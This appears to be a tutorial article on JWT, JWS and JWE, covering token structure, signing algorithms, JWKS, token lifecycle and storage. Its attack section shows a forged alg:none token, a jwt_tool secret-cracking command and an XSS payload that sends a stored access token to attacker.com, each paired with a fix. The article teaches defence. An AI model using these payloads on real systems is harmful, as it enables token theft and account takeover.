JWT, JWS, and JWE — Tokens Decoded
Every modern authentication flow ends the same way — a token is issued. That token becomes your proof of identity, your access pass, your digital boarding ticket. You carry it around, present it to APIs, and the system trusts you based on what's inside it.
But what is inside it? How does a server know the token hasn't been tampered with? What's the difference between signing and encrypting a token? And why do people keep telling you "never store JWTs in localStorage"?
In the Authentication Deep Dive, we introduced tokens as an alternative to sessions. In the OAuth article, we saw tokens being issued and used. Now it's time to crack one open and look inside.
The Problem — HTTP is Stateless
HTTP doesn't remember anything. Every request is independent. The server doesn't inherently know that the request at 10:00:01 came from the same user who authenticated at 10:00:00.
To solve this, we need something the client can carry and present with every request — proof that they've already been authenticated. This "something" is a token.
Historically, this evolved through several stages:
- Session cookies — Server stores session data, client carries a session ID. Works, but requires server-side storage.
- Opaque tokens — Random strings that the server maps to user data. Still requires a lookup.
- Structured tokens (JWT) — Self-contained tokens that carry the user data inside them. No server-side storage needed.
Each approach has trade-offs. Let's understand them.
Opaque Tokens vs Structured Tokens
This is a fundamental architectural choice, and getting it wrong causes real problems.
Opaque Tokens
An opaque token is just a random string — meaningless to anyone who looks at it.
a3f8b2c1-d4e5-6789-abcd-ef0123456789
There's no user data inside. To validate it, the server must look it up in a database or call an introspection endpoint:
POST /oauth/introspect
Content-Type: application/x-www-form-urlencoded
token=a3f8b2c1-d4e5-6789-abcd-ef0123456789
Response:
{
"active": true,
"sub": "user-12345",
"scope": "read write",
"exp": 1716242400
}
The token itself is just a reference — a pointer to data stored elsewhere.
Structured Tokens (JWT)
A JWT carries the data inside itself:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyLTEyMzQ1Iiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzE2MjQyNDAwfQ.signature...
Decode the middle part and you get:
{
"sub": "user-12345",
"role": "admin",
"exp": 1716242400
}
No database lookup needed. The server verifies the cryptographic signature and trusts the claims. This is what makes JWTs attractive for distributed systems — any service with the signing key (or public key) can validate the token independently.
When to Use Which
| Aspect | Opaque Tokens | JWT |
|---|---|---|
| Validation | Requires server lookup (DB or introspection) | Self-contained — validated locally |
| Revocation | Easy — delete from the store | Hard — token is valid until it expires |
| Size | Small (~36 bytes) | Large (~500+ bytes with claims) |
| Performance | Slower (network/DB call per request) | Faster (local crypto verification) |
| Privacy | Token reveals nothing | Claims are readable (base64, not encrypted) |
| Best for | When revocation matters, sensitive systems | Stateless APIs, microservices, SPAs |
There's also a hybrid approach — the Reference Token Pattern. The client receives an opaque token, but the API gateway or resource server exchanges it for a JWT internally via introspection. This gives you the privacy and revocability of opaque tokens with the performance of JWTs at the API layer.
JWT Deep Dive
JWT stands for JSON Web Token (pronounced "jot" — yes, really). It's defined in RFC 7519.
A JWT has three parts separated by dots:
header.payload.signature
Let's decode a real one. Here's a JWT:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InNpZ24tMSJ9.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlLmNvbSIsInN1YiI6InVzZXItMTIzNDUiLCJhdWQiOiJteS13ZWItYXBwIiwiaWF0IjoxNzE2MjM5MDIyLCJleHAiOjE3MTYyNDI2MjIsIm5iZiI6MTcxNjIzOTAyMiwianRpIjoiYWJjMTIzIiwicm9sZSI6ImFkbWluIiwidGVuYW50X2lkIjoib3JnLTQ1NiJ9.signature
Decoding Manually
Each part is Base64URL encoded — not regular Base64. The difference: Base64URL uses - instead of + and _ instead of /, and omits the = padding. This makes JWTs safe to use in URLs.
# Decode the header (first part)
$ echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6InNpZ24tMSJ9" | base64 -d
{"alg":"RS256","typ":"JWT","kid":"sign-1"}
# Decode the payload (second part)
$ echo "eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlLmNvbSIsInN1YiI6InVzZXItMTIzNDUiLCJhdWQiOiJteS13ZWItYXBwIiwiaWF0IjoxNzE2MjM5MDIyLCJleHAiOjE3MTYyNDI2MjIsIm5iZiI6MTcxNjIzOTAyMiwianRpIjoiYWJjMTIzIiwicm9sZSI6ImFkbWluIiwidGVuYW50X2lkIjoib3JnLTQ1NiJ9" | base64 -d
{"iss":"https://idp.example.com","sub":"user-12345","aud":"my-web-app","iat":1716239022,"exp":1716242622,"nbf":1716239022,"jti":"abc123","role":"admin","tenant_id":"org-456"}
The Header
The header declares the algorithm and token type:
{
"alg": "RS256",
"typ": "JWT",
"kid": "sign-1"
}
| Field | Purpose |
|---|---|
alg |
Signing algorithm (RS256, HS256, ES256, etc.) |
typ |
Token type — always "JWT" |
kid |
Key ID — identifies which key was used to sign (critical when keys are rotated) |
The Payload (Claims)
The payload contains claims — key-value pairs with information about the user and the token itself.
Registered Claims (Standard)
| Claim | Name | Purpose | Example |
|---|---|---|---|
iss |
Issuer | Who issued the token | https://idp.example.com |
sub |
Subject | Who the token is about (user ID) | user-12345 |
aud |
Audience | Who the token is intended for | my-web-app |
exp |
Expiration | When the token expires (Unix timestamp) | 1716242622 |
iat |
Issued At | When the token was issued | 1716239022 |
nbf |
Not Before | Token is not valid before this time | 1716239022 |
jti |
JWT ID | Unique token identifier (for revocation tracking) | abc123 |
Custom Claims
You can add any application-specific claims:
{
"role": "admin",
"tenant_id": "org-456",
"permissions": ["read", "write", "delete"],
"department": "engineering"
}
Important: The payload is Base64URL-encoded, not encrypted. Anyone who has the token can read the claims. Never put sensitive data (passwords, credit card numbers, secrets) in a JWT payload — unless you encrypt it with JWE.
The Signature
The third part is the cryptographic signature that ensures the token hasn't been tampered with. How it's computed depends on the algorithm.
JWS — JSON Web Signature
Here's something most people don't realize: when people say "JWT," they almost always mean JWS (JSON Web Signature). A JWS is a JWT that has been signed to ensure integrity. It's defined in RFC 7515.
There are two families of signing algorithms.
Symmetric Signing — HMAC (HS256)
Both the issuer and the verifier share the same secret key.
signature = HMAC-SHA256(
base64url(header) + "." + base64url(payload),
secret_key
)
import hmac
import hashlib
import base64
import json
header = base64url_encode(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = base64url_encode(json.dumps({"sub": "user-12345", "role": "admin"}))
signing_input = f"{header}.{payload}"
secret = b"my-256-bit-secret-key-here-1234567"
signature = hmac.new(secret, signing_input.encode(), hashlib.sha256).digest()
signature_b64 = base64url_encode(signature)
jwt = f"{header}.{payload}.{signature_b64}"
When to use HS256: Single-service architectures where the same service issues and verifies tokens. The secret never leaves the server.
Problem: If you share the secret with multiple services, any of them can create tokens — not just verify them. One compromised service can mint admin tokens.
Asymmetric Signing — RSA/ECDSA (RS256, ES256)
The issuer signs with a private key. Verifiers only need the public key.
signature = RSA-SHA256(
base64url(header) + "." + base64url(payload),
private_key
)
The public key can verify the signature but cannot create new ones. This is critical for distributed systems — you can hand out the public key to every microservice without worrying about them forging tokens.
| Algorithm | Type | Key Size | Performance | Notes |
|---|---|---|---|---|
| HS256 | Symmetric (HMAC) | 256-bit shared secret | Fast | Same key signs and verifies |
| RS256 | Asymmetric (RSA) | 2048-bit+ RSA | Slower signing, fast verification | Most common for multi-service |
| ES256 | Asymmetric (ECDSA) | 256-bit EC | Fast, small signatures | Modern alternative to RSA |
| PS256 | Asymmetric (RSA-PSS) | 2048-bit+ RSA | Similar to RS256 | More secure padding scheme |
When to use RS256/ES256: Multi-service architectures, microservices, any scenario where different services need to verify tokens but shouldn't be able to create them.
Verification in Code
Here's how to verify a JWT in Node.js using the jose library:
const jose = require('jose');
async function verifyToken(token) {
// Fetch the public key from the JWKS endpoint
const JWKS = jose.createRemoteJWKSet(
new URL('https://idp.example.com/.well-known/jwks.json')
);
const { payload, protectedHeader } = await jose.jwtVerify(token, JWKS, {
issuer: 'https://idp.example.com',
audience: 'my-web-app',
});
console.log('Token is valid');
console.log('User:', payload.sub);
console.log('Role:', payload.role);
return payload;
}
And in Python with PyJWT:
import jwt
import requests
# Fetch the public key from JWKS
jwks = requests.get('https://idp.example.com/.well-known/jwks.json').json()
public_key = jwt.algorithms.RSAAlgorithm.from_jwk(jwks['keys'][0])
# Verify the token
payload = jwt.decode(
token,
public_key,
algorithms=['RS256'],
issuer='https://idp.example.com',
audience='my-web-app'
)
print(f"User: {payload['sub']}")
print(f"Role: {payload['role']}")
JWKS — JSON Web Key Set
How does a verifier get the public key? Through a JWKS (JSON Web Key Set) endpoint. This is a standard URL that serves the public keys in a structured format.
GET https://idp.example.com/.well-known/jwks.json
Response:
{
"keys": [
{
"kty": "RSA",
"kid": "sign-1",
"use": "sig",
"alg": "RS256",
"n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhW...",
"e": "AQAB"
},
{
"kty": "RSA",
"kid": "sign-2",
"use": "sig",
"alg": "RS256",
"n": "mC4VGDdBd1FlFBRcGlQv3bTmvfK9JHzNYgI5oEwMR7sOp...",
"e": "AQAB"
}
]
}
The kid (Key ID) in the JWT header tells the verifier which key to use. This enables key rotation — you can add a new key, start signing with it, and eventually remove the old one, all without breaking existing tokens.
JWE — JSON Web Encryption
JWS gives you integrity — you can verify the token hasn't been modified. But the payload is still readable by anyone.
JWE gives you confidentiality — the payload is encrypted. Only the intended recipient can read it. It's defined in RFC 7516.
JWE Structure
While JWS has 3 parts, JWE has 5:
header.encrypted_key.iv.ciphertext.tag
| Part | Purpose |
|---|---|
| Header | Algorithm and encryption method |
| Encrypted Key | Content encryption key, encrypted with the recipient's public key |
| IV | Initialization vector for the encryption |
| Ciphertext | The encrypted payload |
| Authentication Tag | Integrity check for the ciphertext |
JWS vs JWE
| Aspect | JWS (Signed) | JWE (Encrypted) |
|---|---|---|
| Parts | 3 (header.payload.signature) | 5 (header.key.iv.ciphertext.tag) |
| Payload | Readable by anyone (base64) | Encrypted — only recipient can read |
| Integrity | Yes (signature) | Yes (auth tag) |
| Confidentiality | No | Yes |
| Use case | Most authentication flows | Tokens with sensitive data (PII, medical) |
| Performance | Faster | Slower (encryption overhead) |
When to Use JWE
Most of the time, JWS is sufficient. Use JWE when:
- The token contains PII (personally identifiable information) that shouldn't be visible to intermediaries
- Compliance requirements mandate encrypted tokens (healthcare, finance)
- Tokens pass through untrusted intermediaries (third-party proxies, CDNs)
Nested JWT — Sign Then Encrypt
For maximum security, you can create a nested JWT: sign the token first (JWS), then encrypt it (JWE). The recipient decrypts to get the JWS, then verifies the signature. This gives you both confidentiality and integrity from different parties.
Token Lifecycle
Understanding how tokens are used throughout their lifecycle is critical for building secure systems.
Access Tokens
- Purpose: Authorize API requests
- Lifetime: Short — 5 to 15 minutes
- Sent as:
Authorization: Bearer <token>header - Revocation: Difficult (usually you just wait for expiry)
Refresh Tokens
- Purpose: Get new access tokens without re-authenticating
- Lifetime: Long — hours, days, or weeks
- Stored: Server-side or secure client storage
- Revocation: Easy — stored in a database, can be deleted
ID Tokens
- Purpose: Prove the user's identity to the client application
- Lifetime: Short (same as access tokens)
- Audience: The client app — NEVER sent to APIs
- Contains: User identity claims (name, email, sub)
The Complete Flow
1. User logs in (username + password + MFA)
|
v
2. IdP issues tokens:
- Access Token (5 min TTL)
- Refresh Token (7 day TTL)
- ID Token (5 min TTL, for the client)
|
v
3. Client uses Access Token for API calls:
GET /api/data
Authorization: Bearer eyJhbGciOiJS...
|
v
4. Access Token expires after 5 minutes
|
v
5. Client uses Refresh Token to get a new Access Token:
POST /oauth/token
grant_type=refresh_token
refresh_token=dGhpcyBpcyBh...
|
v
6. IdP validates Refresh Token and issues:
- New Access Token (5 min TTL)
- New Refresh Token (old one is invalidated — rotation)
|
v
7. Repeat steps 3-6 until Refresh Token expires or user logs out
Refresh Token Rotation
This is a critical security pattern. Every time a refresh token is used, the server issues a new refresh token and invalidates the old one. If an attacker steals an old refresh token and tries to use it, the server detects it (because it was already used/rotated) and can invalidate the entire token family — forcing the user to re-authenticate.
Normal flow:
Client uses RT-1 → gets AT-2 + RT-2
Client uses RT-2 → gets AT-3 + RT-3
Client uses RT-3 → gets AT-4 + RT-4
Attack detected:
Attacker stole RT-1 and tries to use it
Server sees RT-1 was already used → ALARM
Server invalidates RT-2, RT-3, RT-4 (entire family)
User must re-authenticate
Token Storage — Where to Keep Them
This is one of the most debated topics in web security. Where you store tokens has direct security implications.
| Storage | XSS Vulnerable? | CSRF Vulnerable? | Survives Refresh? | Notes |
|---|---|---|---|---|
localStorage |
Yes | No | Yes | Accessible to any JS on the page |
sessionStorage |
Yes | No | No | Same as localStorage, cleared on tab close |
| HttpOnly Cookie | No | Yes | Yes | Not accessible to JS, but sent automatically |
| In-memory (JS variable) | Partial | No | No | Safest from XSS, but lost on page refresh |
| BFF (Backend for Frontend) | No | No | Yes | Best security, most complexity |
The BFF Pattern
The Backend for Frontend pattern is the gold standard for SPAs:
Browser → BFF (your backend) → API
|
Stores tokens in
server-side session
(HttpOnly cookie to browser)
The browser never sees the JWT. It gets an HttpOnly session cookie pointing to the BFF. The BFF holds the actual tokens and forwards them to APIs. This eliminates both XSS (no tokens in JS) and CSRF (SameSite cookies + CSRF tokens) attack vectors.
The trade-off is complexity — you need an extra backend component. But for high-security applications, it's worth it.
JWT Security — Common Attacks
JWTs are a frequent target because they're everywhere and developers often implement them incorrectly.
1. The alg:none Attack
Some JWT libraries support a "none" algorithm — no signature at all. If the server accepts it, an attacker can forge tokens by simply removing the signature.
The attack:
# Original token (signed with RS256)
eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyLTEyMyIsInJvbGUiOiJ1c2VyIn0.valid_signature
# Attacker's forged token (alg changed to "none", signature removed)
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyLTEyMyIsInJvbGUiOiJhZG1pbiJ9.
Decode the header: {"alg":"none"}. Decode the payload: {"sub":"user-123","role":"admin"}. No signature needed.
The fix: Always explicitly specify allowed algorithms when verifying:
# WRONG — accepts whatever algorithm the token says
payload = jwt.decode(token, key)
# RIGHT — only accepts RS256
payload = jwt.decode(token, key, algorithms=["RS256"])
2. Key Confusion Attack (RS256 → HS256)
This is subtle and devastating. The server is configured to verify tokens using RS256 (asymmetric — public/private key pair). The attacker:
- Gets the server's public key (often available at the JWKS endpoint)
- Creates a token with
"alg": "HS256"(symmetric — shared secret) - Signs the token using the public key as the HMAC secret
If the server's JWT library sees alg: HS256 and uses the configured "key" (which is the public key) as the HMAC secret, the signature validates. The attacker has forged a valid token using publicly available information.
The fix: Never let the token's alg header drive your verification logic. Explicitly specify the algorithm:
// WRONG
jwt.verify(token, publicKey);
// RIGHT
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
3. Weak Signing Keys
If you're using HS256 with a weak secret (like "secret" or "password123"), an attacker can brute-force it. Tools like jwt_tool and hashcat can crack weak HMAC secrets in seconds.
# Brute-force a JWT's HMAC secret
$ python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
[+] SECRET FOUND: mysecretkey123
The fix: Use secrets with at least 256 bits of entropy (32+ random bytes). Better yet, use RS256/ES256 where there's no shared secret to crack.
4. Missing Claim Validation
A valid signature doesn't mean the token should be accepted. You must also validate:
payload = jwt.decode(token, key, algorithms=["RS256"],
issuer="https://idp.example.com", # Check iss
audience="my-web-app", # Check aud
options={
"require": ["exp", "iss", "aud"] # These claims MUST be present
}
)
Without these checks:
- A token from a different IdP could be accepted (
iss) - A token meant for a different app could be accepted (
aud) - An expired token could be accepted (
exp)
5. Token Sidejacking (XSS + Token Theft)
If tokens are stored in localStorage and the application is vulnerable to XSS, it's game over:
// Attacker's XSS payload
fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'));
The fix: Don't store tokens in localStorage. Use HttpOnly cookies or the BFF pattern.
6. JWT Replay
User logs out, but the JWT is still valid (hasn't expired). An attacker who captured the token can keep using it.
The fix: Short expiry times (5-15 minutes) limit the window. For immediate revocation, maintain a token blacklist (by jti) or use opaque tokens where revocation is instant.
Best Practices Checklist
- Always validate: signature, exp, iss, aud, nbf
- Use RS256 or ES256 for multi-service architectures
- Keep access tokens short-lived (5-15 minutes)
- Never store sensitive data in the JWT payload (use JWE if you must)
- Implement refresh token rotation with reuse detection
- Explicitly specify algorithms — never trust the token's
algheader blindly - Use strong signing keys (256+ bits for HMAC, 2048+ bits for RSA)
- Rotate signing keys periodically via JWKS
- Store tokens securely — HttpOnly cookies or BFF pattern for web apps
- Log token issuance and validation failures for monitoring
Practical Tools
| Tool | Purpose |
|---|---|
| jwt.io | Decode, verify, and debug JWTs in the browser |
| jwt_tool | CLI tool for testing JWT security (brute-force, alg attacks) |
jose (Node.js) |
Full JWS/JWE/JWK library for Node.js |
PyJWT (Python) |
JWT encoding/decoding for Python |
jq (CLI) |
Parse JWT claims on the command line |
Quick decode on the command line:
# Decode a JWT payload with jq
$ echo "eyJzdWIiOiJ1c2VyLTEyMyJ9" | base64 -d | jq .
{
"sub": "user-123"
}
# One-liner to decode both parts
$ echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
Final Thoughts
Tokens are deceptively simple on the surface. You base64-decode them, read the claims, verify the signature — done. But the devil is in the details. Algorithm confusion attacks, weak keys, improper storage, missing claim validation — each of these has caused real breaches in production systems.
The key takeaways:
- JWS (signed tokens) are what most people mean when they say "JWT" — they provide integrity
- JWE (encrypted tokens) provide confidentiality — use them when the payload is sensitive
- Opaque tokens give you easy revocation at the cost of a server lookup
- Never trust the token's algorithm header — always enforce it server-side
- Store tokens carefully — the storage location is just as important as the token itself
Now that you understand what's inside a token, let's see how these tokens are used in practice. Next up — OpenID Connect (OIDC), the identity layer that issues ID Tokens and powers "Sign in with Google" at the protocol level.
Stay secure!